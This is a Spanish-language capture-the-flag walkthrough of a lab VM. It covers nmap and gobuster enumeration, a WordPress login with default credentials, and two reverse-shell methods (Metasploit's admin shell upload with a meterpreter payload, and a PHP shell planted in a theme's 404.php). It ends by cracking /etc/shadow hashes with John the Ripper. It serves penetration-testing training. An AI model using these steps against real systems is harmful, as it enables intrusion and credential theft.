Primero se hace un escaneo de puertos con nmap
$ sudo nmap -sV -Pn -A -O -oN basic1 192.168.2.4
Nmap scan report for 192.168.2.4
Host is up (0.00052s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.3c
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d60190392d8f46fb038673b33c547e54 (RSA)
| 256 f1f3c0ddbaa485f7139ada3abb4d9304 (ECDSA)
|_ 256 12e298d2a3e7364fbe6bce366b7e0d9e (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Luego se modifica el archivo host para que resuelva la IP con un dominio de forma local.
$ vi /etc/hosts
Ahora se verifica el servicio web disponible en el puerto 80.
En este lugar no hay mucha información reveladora, así que se procede con escaneo de rutas con gobuster.
$ gobuster dir -u http://192.168.2.4 -e -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=========================================================
http://192.168.2.4/.htpasswd (Status: 403) [Size: 295]
http://192.168.2.4/.htaccess (Status: 403) [Size: 295]
http://192.168.2.4/.hta (Status: 403) [Size: 290]
http://192.168.2.4/index.html (Status: 200) [Size: 177]
http://192.168.2.4/secret (Status: 301) [Size: 311] [--> http://192.168.2.4/secret/]
http://192.168.2.4/server-status (Status: 403) [Size: 299]
Progress: 4614 / 4615 (99.98%)
===============================================================
Yendo a la ruta http://vtcsec/secret/ se encontró una web oculta hecha con WordPress.
Así que se escanea de nuevo para encontrar nuevas rutas a partir de esta web.
$ gobuster dir -u http://192.168.2.4 -e -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.2.4
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster
[+] Expanded: true
[+] Timeout: 10s
===============================================================
http://192.168.2.4/.htpasswd (Status: 403) [Size: 295]
http://192.168.2.4/.htaccess (Status: 403) [Size: 295]
http://192.168.2.4/.hta (Status: 403) [Size: 290]
http://192.168.2.4/index.html (Status: 200) [Size: 177]
http://192.168.2.4/secret (Status: 301) [Size: 311] [--> http://192.168.2.4/secret/]
http://192.168.2.4/server-status (Status: 403) [Size: 299]
===============================================================
Por el momento lo más llamativo es la ruta de /wp_admin donde está el panel de administración de WordPress, y usando con un usuario y contraseña por defecto, en este caso "admin:admin" se logró ingresar.
Con el panel administración a disposición doy 2 métodos para obtener una Shell.
Método 1: Usando metasploit.
Dentro de la consola de msf buscamos un módulo que pueda servir en este caso wp-admin
msf > search wp_admin
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/webapp/wp_admin_shell_upload 2015-02-21 excellent Yes WordPress Admin Shell Upload
msf > use exploit/unix/webapp/wp_admin_shell_upload
msf exploit(unix/webapp/wp_admin_shell_upload) > options
Module options (exploit/unix/webapp/wp_admin_shell_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The WordPress password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
USERNAME yes The WordPress username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.2.5 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 WordPress
Ahora solo es setear los datos importantes como la contraseña,el rhost(remote), rport,targeturi,username, lhost (local) y opcionalmente el lport quedando algo asi.
msf exploit(unix/webapp/wp_admin_shell_upload) > options
Module options (exploit/unix/webapp/wp_admin_shell_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD admin yes The WordPress password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.2.4 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /secret/ yes The base path to the wordpress application
USERNAME admin yes The WordPress username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.2.5 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 WordPress
Es hora de ejecutar este módulo con el comando run.
msf exploit(unix/webapp/wp_admin_shell_upload) > run
Si todo está bien se ejecutará y dará un meterpreter y pedir una Shell.
meterpreter > shell
Process 2268 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Método 2: Usar una utilidad de WordPress
Teniendo control de la página de WordPress, al dirigirse hacia apariencia > editor y escoger un, témplate, en mi caso, el 404.php y cargar un reverse Shell con la IP local y un puerto al cual va a apuntar.
Ahora se coloca nc a escuchar por el puerto definido en la reverse Shell.
$ nc -lvnp 4567
Ahora navegando en las rutas, la Shell quedo guardada en el archivo 404 del tema seleccionado en mi caso es este.
http://vtcsec/secret/wp-content/themes/twentyseventeen/404.php
Revisando nc, la Shell ya se tiene acceso.
Ahora a buscar si hay algún archivo con escritura en root se encontró este.
$ find / type f -perm -04000 -ls 2>/dev/null
1028 56 -rwsr-xr-x 1 root root 54256 May 16 2017 /usr/bin/passwd
Comprobando los permisos de /etc/shadow
ls-l /etc/shadow
4 -rw-r--r-- 1 root shadow 1305 Nov 16 2017 /usr/bin/passwd
Se puede utilizar la herramienta unshadow para extraer las contraseñas de los usuarios.
$ unshadow passwd shadow > pass
Usando John the ripper, se obtiene el usuario y la contraseña
$ john pass
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
marlinspike (***********)
Muchas gracias a Josiah Pierce que nos brindó esta VM. Hasta la próxima.